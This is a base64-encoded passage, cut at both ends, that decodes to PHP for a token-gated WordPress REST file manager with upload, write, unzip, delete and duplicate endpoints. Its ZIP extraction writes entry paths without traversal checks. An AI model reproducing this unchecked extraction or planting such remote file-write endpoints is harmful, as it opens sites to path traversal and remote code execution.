ZiAoJGNvbnRlbnQgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2Nhbm5vdCByZWFkIGZpbGUnXSwgNTAwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWwogICAgICAgICAgICAgICAgJ3BhdGgnICAgID0+ICRmdWxsLAogICAgICAgICAgICAgICAgJ2NvbnRlbnQnID0+ICRjb250ZW50LAogICAgICAgICAgICAgICAgJ3NpemUnICAgID0+ICRzaXplLAogICAgICAgICAgICAgICAgJ210aW1lJyAgID0+IChpbnQpZmlsZW10aW1lKCRmdWxsKSwKICAgICAgICAgICAgXSk7CiAgICAgICAgfQoKICAgICAgICAvLyBQVVQg4oCUIHdyaXRlIGZpbGUKICAgICAgICAkYm9keSAgICA9IGpzb25fZGVjb2RlKCRyZXF1ZXN0LT5nZXRfYm9keSgpLCB0cnVlKSA/OiBbXTsKICAgICAgICAkcGF0aCAgICA9ICRib2R5WydwYXRoJ10gPz8gJyc7CiAgICAgICAgJGNvbnRlbnQgPSAkYm9keVsnY29udGVudCddID8/IG51bGw7CiAgICAgICAgaWYgKCRjb250ZW50ID09PSBudWxsIHx8ICRwYXRoID09PSAnJykgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ21pc3NpbmcgcGF0aCBvciBjb250ZW50J10sIDQwMCk7CiAgICAgICAgfQogICAgICAgIGlmICgoJGJvZHlbJ2VuY29kaW5nJ10gPz8gJycpID09PSAnYmFzZTY0JykgewogICAgICAgICAgICAkY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJGNvbnRlbnQsIHRydWUpOwogICAgICAgICAgICBpZiAoJGNvbnRlbnQgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ludmFsaWQgYmFzZTY0IGNvbnRlbnQnXSwgNDAwKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkcmVzb2x2ZWQgPSBzZWxmOjpmbVJlc29sdmVQYXRoKCRwYXRoKTsKICAgICAgICAkcGFyZW50UmVhbCA9IHJlYWxwYXRoKGRpcm5hbWUoJHJlc29sdmVkKSk7CiAgICAgICAgaWYgKCEkcGFyZW50UmVhbCkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ3BhcmVudCBkaXJlY3Rvcnkgbm90IGZvdW5kJ10sIDQwMCk7CiAgICAgICAgfQogICAgICAgICRmdWxsID0gJHBhcmVudFJlYWwgLiAnLycgLiBiYXNlbmFtZSgkcmVzb2x2ZWQpOwogICAgICAgIGlmICghc2VsZjo6c2FmZVdyaXRlKCRmdWxsLCAkY29udGVudCkpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICd3cml0ZSBmYWlsZWQg4oCUIGNoZWNrIHBlcm1pc3Npb25zJ10sIDUwMCk7CiAgICAgICAgfQogICAgICAgIGNsZWFyc3RhdGNhY2hlKHRydWUsICRmdWxsKTsKICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gdHJ1ZSwgJ3BhdGgnID0+ICRmdWxsLCAnc2l6ZScgPT4gc3RybGVuKCRjb250ZW50KV0pOwogICAgfQoKICAgIC8vIOKUgOKUgCBGaWxlIG1hbmFnZXI6IHVwbG9hZCBmaWxlIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0RnNVcGxvYWQoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgJHRva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ3hfc3dfdHJpZ2dlcl90b2tlbicpOwogICAgICAgIGlmICghJHRva2VuIHx8ICFoYXNoX2VxdWFscyhTV19QQU5FTF9UT0tFTiwgJHRva2VuKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAkYm9keSAgICAgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJGRpciAgICAgID0gcmVhbHBhdGgoc2VsZjo6Zm1SZXNvbHZlUGF0aCgkYm9keVsncGF0aCddID8/ICcnKSk7CiAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGJvZHlbJ2ZpbGVuYW1lJ10gPz8gJycpOwogICAgICAgICRjb250ZW50ICA9IGlzc2V0KCRib2R5Wydjb250ZW50J10pID8gYmFzZTY0X2RlY29kZSgkYm9keVsnY29udGVudCddLCB0cnVlKSA6IGZhbHNlOwoKICAgICAgICBpZiAoISRmaWxlbmFtZSB8fCAkY29udGVudCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdtaXNzaW5nIGZpbGVuYW1lIG9yIGNvbnRlbnQnXSwgNDAwKTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkZGlyIHx8ICFpc19kaXIoJGRpcikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICd0YXJnZXQgZGlyZWN0b3J5IG5vdCBmb3VuZCddLCA0MDApOwogICAgICAgIH0KICAgICAgICAkZnVsbCA9ICRkaXIgLiAnLycgLiAkZmlsZW5hbWU7CiAgICAgICAgaWYgKCFzZWxmOjpzYWZlV3JpdGUoJGZ1bGwsICRjb250ZW50KSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ3dyaXRlIGZhaWxlZCDigJQgY2hlY2sgcGVybWlzc2lvbnMnXSwgNTAwKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdwYXRoJyA9PiAkZnVsbCwgJ3NpemUnID0+IHN0cmxlbigkY29udGVudCldKTsKICAgIH0KCiAgICAvLyDilIDilIAgRmlsZSBtYW5hZ2VyOiBjaHVua2VkIHVwbG9hZCDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIC8vIFJlY2VpdmVzIG9uZSBjaHVuayBvZiBhIGxhcmdlIGZpbGUgdXBsb2FkLiBDaHVua3MgYXJlIHN0b3JlZCBpbiB0aGUgc3lzdGVtCiAgICAvLyB0ZW1wIGRpciBhbmQgYXNzZW1ibGVkIGludG8gdGhlIGZpbmFsIGZpbGUgd2hlbiB0aGUgbGFzdCBjaHVuayBhcnJpdmVzLgogICAgLy8gQm9keToge2RpciwgZmlsZW5hbWUsIGNvbnRlbnQgKGJhc2U2NCksIGluZGV4ICgwLWJhc2VkKSwgdG90YWx9CiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RGc1VwbG9hZENodW5rKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CiAgICAgICAgQHNldF90aW1lX2xpbWl0KDEyMCk7CgogICAgICAgICRib2R5ICAgICA9IGpzb25fZGVjb2RlKChzdHJpbmcpJHJlcXVlc3QtPmdldF9ib2R5KCksIHRydWUpID86IFtdOwogICAgICAgICRkaXIgICAgICA9IHNlbGY6OmZtUmVzb2x2ZVBhdGgoJGJvZHlbJ2RpciddID8/ICcnKTsKICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkYm9keVsnZmlsZW5hbWUnXSA/PyAnJyk7CiAgICAgICAgJGluZGV4ICAgID0gKGludCkoJGJvZHlbJ2luZGV4J10gPz8gMCk7CiAgICAgICAgJHRvdGFsICAgID0gKGludCkoJGJvZHlbJ3RvdGFsJ10gPz8gMSk7CiAgICAgICAgJHJhdyAgICAgID0gaXNzZXQoJGJvZHlbJ2NvbnRlbnQnXSkgPyBiYXNlNjRfZGVjb2RlKCRib2R5Wydjb250ZW50J10sIHRydWUpIDogZmFsc2U7CgogICAgICAgIGlmICghJGZpbGVuYW1lIHx8ICRyYXcgPT09IGZhbHNlIHx8ICR0b3RhbCA8IDEpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdtaXNzaW5nIGZpbGVuYW1lLCBjb250ZW50LCBvciB0b3RhbCddLCA0MDApOwogICAgICAgIH0KCiAgICAgICAgJHRtcEJhc2UgICA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICcvc3dfdXBfJyAuIG1kNShTV19QQU5FTF9UT0tFTiAuICRmaWxlbmFtZSk7CiAgICAgICAgJGNodW5rRmlsZSA9ICR0bXBCYXNlIC4gJ18nIC4gJGluZGV4OwoKICAgICAgICBpZiAoQGZpbGVfcHV0X2NvbnRlbnRzKCRjaHVua0ZpbGUsICRyYXcpID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZhaWxlZCB0byB3cml0ZSBjaHVuayAnIC4gJGluZGV4XSwgNTAwKTsKICAgICAgICB9CgogICAgICAgIC8vIE5vdCB0aGUgbGFzdCBjaHVuayDigJQgYWNrbm93bGVkZ2UgYW5kIHdhaXQgZm9yIG1vcmUKICAgICAgICBpZiAoJGluZGV4IDwgJHRvdGFsIC0gMSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gdHJ1ZSwgJ3JlY2VpdmVkJyA9PiAkaW5kZXgsICd0b3RhbCcgPT4gJHRvdGFsXSk7CiAgICAgICAgfQoKICAgICAgICAvLyBMYXN0IGNodW5rIGFycml2ZWQg4oCUIGFzc2VtYmxlIGFsbCBjaHVua3MgaW50byB0aGUgZmluYWwgZmlsZQogICAgICAgICRkZXN0RGlyID0gcmVhbHBhdGgoJGRpcik7CiAgICAgICAgaWYgKCEkZGVzdERpciB8fCAhaXNfZGlyKCRkZXN0RGlyKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ3RhcmdldCBkaXJlY3Rvcnkgbm90IGZvdW5kJ10sIDQwMCk7CiAgICAgICAgfQogICAgICAgICRmaW5hbCA9ICRkZXN0RGlyIC4gJy8nIC4gJGZpbGVuYW1lOwogICAgICAgICRvdXQgICA9IEBmb3BlbigkZmluYWwsICd3YicpOwogICAgICAgIGlmICghJG91dCkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2Nhbm5vdCBvcGVuIGRlc3RpbmF0aW9uIGZvciB3cml0aW5nJ10sIDUwMCk7CiAgICAgICAgfQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICR0b3RhbDsgJGkrKykgewogICAgICAgICAgICAkY2YgICA9ICR0bXBCYXNlIC4gJ18nIC4gJGk7CiAgICAgICAgICAgICRkYXRhID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRjZik7CiAgICAgICAgICAgIGlmICgkZGF0YSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGZjbG9zZSgkb3V0KTsgQHVubGluaygkZmluYWwpOwogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdjaHVuayAnIC4gJGkgLiAnIG1pc3NpbmcgZHVyaW5nIGFzc2VtYmx5J10sIDUwMCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZndyaXRlKCRvdXQsICRkYXRhKTsKICAgICAgICAgICAgQHVubGluaygkY2YpOwogICAgICAgIH0KICAgICAgICBmY2xvc2UoJG91dCk7CiAgICAgICAgQGNobW9kKCRmaW5hbCwgMDY0NCk7CgogICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ29rJyA9PiB0cnVlLCAncGF0aCcgPT4gJGZpbmFsLCAnc2l6ZScgPT4gKGludClmaWxlc2l6ZSgkZmluYWwpXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIEZpbGUgbWFuYWdlcjogZXh0cmFjdCBaSVAg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RGc1VuemlwKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CiAgICAgICAgQHNldF90aW1lX2xpbWl0KDEyMCk7CiAgICAgICAgJGJvZHkgICAgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJHppcFBhdGggPSBzZWxmOjpmbVJlc29sdmVQYXRoKCRib2R5WydwYXRoJ10gPz8gJycpOwogICAgICAgICRkZXN0UGF0aCA9IGlzc2V0KCRib2R5WydkZXN0J10pID8gc2VsZjo6Zm1SZXNvbHZlUGF0aCgkYm9keVsnZGVzdCddKSA6IGRpcm5hbWUoJHppcFBhdGgpOwoKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR6aXBQYXRoKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ1pJUCBmaWxlIG5vdCBmb3VuZCddLCA0MDQpOwogICAgICAgIH0KICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICBpZiAoJHppcC0+b3BlbigkemlwUGF0aCkgIT09IHRydWUpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdjYW5ub3Qgb3BlbiBaSVAgZmlsZSddLCA1MDApOwogICAgICAgIH0KICAgICAgICBpZiAoIWlzX2RpcigkZGVzdFBhdGgpKSBAbWtkaXIoJGRlc3RQYXRoLCAwNzU1LCB0cnVlKTsKCiAgICAgICAgJGV4dHJhY3RlZCA9IDA7CiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJHppcC0+bnVtRmlsZXM7ICRpKyspIHsKICAgICAgICAgICAgJHN0YXQgICAgPSAkemlwLT5zdGF0SW5kZXgoJGkpOwogICAgICAgICAgICAkcmVsUGF0aCA9ICRzdGF0WyduYW1lJ107CiAgICAgICAgICAgIGlmIChzdWJzdHIoJHJlbFBhdGgsIC0xKSA9PT0gJy8nKSBjb250aW51ZTsKICAgICAgICAgICAgJHRhcmdldCAgPSAkZGVzdFBhdGggLiAnLycgLiAkcmVsUGF0aDsKICAgICAgICAgICAgJHREaXIgICAgPSBkaXJuYW1lKCR0YXJnZXQpOwogICAgICAgICAgICBpZiAoIWlzX2RpcigkdERpcikpIEBta2RpcigkdERpciwgMDc1NSwgdHJ1ZSk7CiAgICAgICAgICAgICRkYXRhID0gJHppcC0+Z2V0RnJvbUluZGV4KCRpKTsKICAgICAgICAgICAgaWYgKCRkYXRhICE9PSBmYWxzZSAmJiBAZmlsZV9wdXRfY29udGVudHMoJHRhcmdldCwgJGRhdGEpICE9PSBmYWxzZSkgJGV4dHJhY3RlZCsrOwogICAgICAgIH0KICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ29rJyA9PiB0cnVlLCAnZXh0cmFjdGVkJyA9PiAkZXh0cmFjdGVkLCAnZGVzdCcgPT4gJGRlc3RQYXRoXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIEZpbGUgbWFuYWdlcjogZGVsZXRlIGZpbGUgb3IgZGlyZWN0b3J5IOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0RnNEZWxldGUoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgJHRva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ3hfc3dfdHJpZ2dlcl90b2tlbicpOwogICAgICAgIGlmICghJHRva2VuIHx8ICFoYXNoX2VxdWFscyhTV19QQU5FTF9UT0tFTiwgJHRva2VuKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAkYm9keSA9IGpzb25fZGVjb2RlKCRyZXF1ZXN0LT5nZXRfYm9keSgpLCB0cnVlKSA/OiBbXTsKICAgICAgICAkcGF0aCA9IHNlbGY6OmZtUmVzb2x2ZVBhdGgoJGJvZHlbJ3BhdGgnXSA/PyAnJyk7CiAgICAgICAgJHJlYWwgPSByZWFscGF0aCgkcGF0aCk7CiAgICAgICAgaWYgKCEkcmVhbCB8fCAhZmlsZV9leGlzdHMoJHJlYWwpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbm90IGZvdW5kJ10sIDQwNCk7CiAgICAgICAgfQogICAgICAgIGlmIChpc19maWxlKCRyZWFsKSkgewogICAgICAgICAgICByZXR1cm4gQHVubGluaygkcmVhbCkKICAgICAgICAgICAgICAgID8gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gdHJ1ZV0pCiAgICAgICAgICAgICAgICA6IG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdkZWxldGUgZmFpbGVkJ10sIDUwMCk7CiAgICAgICAgfQogICAgICAgIHNlbGY6OnJtZGlyUmVjdXJzaXZlKCRyZWFsKTsKICAgICAgICByZXR1cm4gaXNfZGlyKCRyZWFsKQogICAgICAgICAgICA/IG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdkZWxldGUgZmFpbGVkJ10sIDUwMCkKICAgICAgICAgICAgOiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ29rJyA9PiB0cnVlXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIEZpbGUgbWFuYWdlcjogY3JlYXRlIGZpbGUg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RGc0NyZWF0ZUZpbGUoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgJHRva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ3hfc3dfdHJpZ2dlcl90b2tlbicpID8/ICcnOwogICAgICAgIGlmICghJHRva2VuIHx8ICFoYXNoX2VxdWFscyhTV19QQU5FTF9UT0tFTiwgJHRva2VuKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KICAgICAgICAkYm9keSA9IGpzb25fZGVjb2RlKCRyZXF1ZXN0LT5nZXRfYm9keSgpLCB0cnVlKSA/OiBbXTsKICAgICAgICAkcGF0aCA9ICRib2R5WydwYXRoJ10gPz8gJyc7CiAgICAgICAgaWYgKCRwYXRoID09PSAnJykgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdtaXNzaW5nIHBhdGgnXSwgNDAwKTsKICAgICAgICAkcmVzb2x2ZWQgICA9IHNlbGY6OmZtUmVzb2x2ZVBhdGgoJHBhdGgpOwogICAgICAgICRwYXJlbnRSZWFsID0gcmVhbHBhdGgoZGlybmFtZSgkcmVzb2x2ZWQpKTsKICAgICAgICBpZiAoISRwYXJlbnRSZWFsKSByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ3BhcmVudCBkaXJlY3Rvcnkgbm90IGZvdW5kJ10sIDQwMCk7CiAgICAgICAgJGZ1bGwgPSAkcGFyZW50UmVhbCAuICcvJyAuIGJhc2VuYW1lKCRyZXNvbHZlZCk7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsKSkgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdhbHJlYWR5IGV4aXN0cyddLCA0MDkpOwogICAgICAgIGlmIChAZmlsZV9wdXRfY29udGVudHMoJGZ1bGwsICcnKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdjcmVhdGUgZmFpbGVkIOKAlCBjaGVjayBwZXJtaXNzaW9ucyddLCA1MDApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gdHJ1ZSwgJ3BhdGgnID0+ICRmdWxsXSk7CiAgICB9CgogICAgLy8g4pSA4pSAIEZpbGUgbWFuYWdlcjogY3JlYXRlIGRpcmVjdG9yeSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdEZzQ3JlYXRlRGlyKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKSA/PyAnJzsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CiAgICAgICAgJGJvZHkgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJHBhdGggPSAkYm9keVsncGF0aCddID8/ICcnOwogICAgICAgIGlmICgkcGF0aCA9PT0gJycpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbWlzc2luZyBwYXRoJ10sIDQwMCk7CiAgICAgICAgJHJlc29sdmVkID0gc2VsZjo6Zm1SZXNvbHZlUGF0aCgkcGF0aCk7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRyZXNvbHZlZCkpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnYWxyZWFkeSBleGlzdHMnXSwgNDA5KTsKICAgICAgICBpZiAoIUBta2RpcigkcmVzb2x2ZWQsIDA3NTUsIHRydWUpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbWtkaXIgZmFpbGVkIOKAlCBjaGVjayBwZXJtaXNzaW9ucyddLCA1MDApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydvaycgPT4gdHJ1ZSwgJ3BhdGgnID0+ICRyZXNvbHZlZF0pOwogICAgfQoKICAgIC8vIOKUgOKUgCBGaWxlIG1hbmFnZXI6IGR1cGxpY2F0ZSBmaWxlIG9yIGRpcmVjdG9yeSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdEZzRHVwbGljYXRlKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKSA/PyAnJzsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CiAgICAgICAgJGJvZHkgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJHBhdGggPSAkYm9keVsncGF0aCddID8/ICcnOwogICAgICAgIGlmICgkcGF0aCA9PT0gJycpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnbWlzc2luZyBwYXRoJ10sIDQwMCk7CiAgICAgICAgJHJlYWwgPSByZWFscGF0aChzZWxmOjpmbVJlc29sdmVQYXRoKCRwYXRoKSk7CiAgICAgICAgaWYgKCEkcmVhbCB8fCAhZmlsZV9leGlzdHMoJHJlYWwpKSByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ3NvdXJjZSBub3QgZm91bmQnXSwgNDA0KTsKCiAgICAgICAgJGRpciAgPSBkaXJuYW1lKCRyZWFsKTsKICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRyZWFsKTsKICAgICAgICAkZXh0ICA9IGlzX2ZpbGUoJHJlYWwpID8gKGZhbHNlICE9PSAoJHAgPSBzdHJycG9zKCRuYW1lLCAnLicpKSA/IHN1YnN0cigkbmFtZSwgJHApIDogJycpIDogJyc7CiAgICAgICAgJGJhc2UgPSAkZXh0ICE9PSAnJyA/IHN1YnN0cigkbmFtZSwgMCwgLXN0cmxlbigkZXh0KSkgOiAkbmFtZTsKICAgICAgICAkZGVzdCA9ICRkaXIgLiAnLycgLiAkYmFzZSAuICdfY29weScgLiAkZXh0OwogICAgICAgICRpID0gMjsKICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJGRlc3QpKSB7CiAgICAgICAgICAgICRkZXN0ID0gJGRpciAuICcvJyAuICRiYXNlIC4gJ19jb3B5JyAuICRpIC4gJGV4dDsKICAgICAgICAgICAgJGkrKzsKICAgICAgICB9CgogICAgICAgIGlmIChpc19maWxlKCRyZWFsKSkgewogICAgICAgICAgICBpZiAoIUBjb3B5KCRyZWFsLCAkZGVzdCkpIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnY29weSBmYWlsZWQg4oCUIGNoZWNrIHBlcm1pc3Npb25zJ10sIDUwMCk7CiAgICAgICAgfS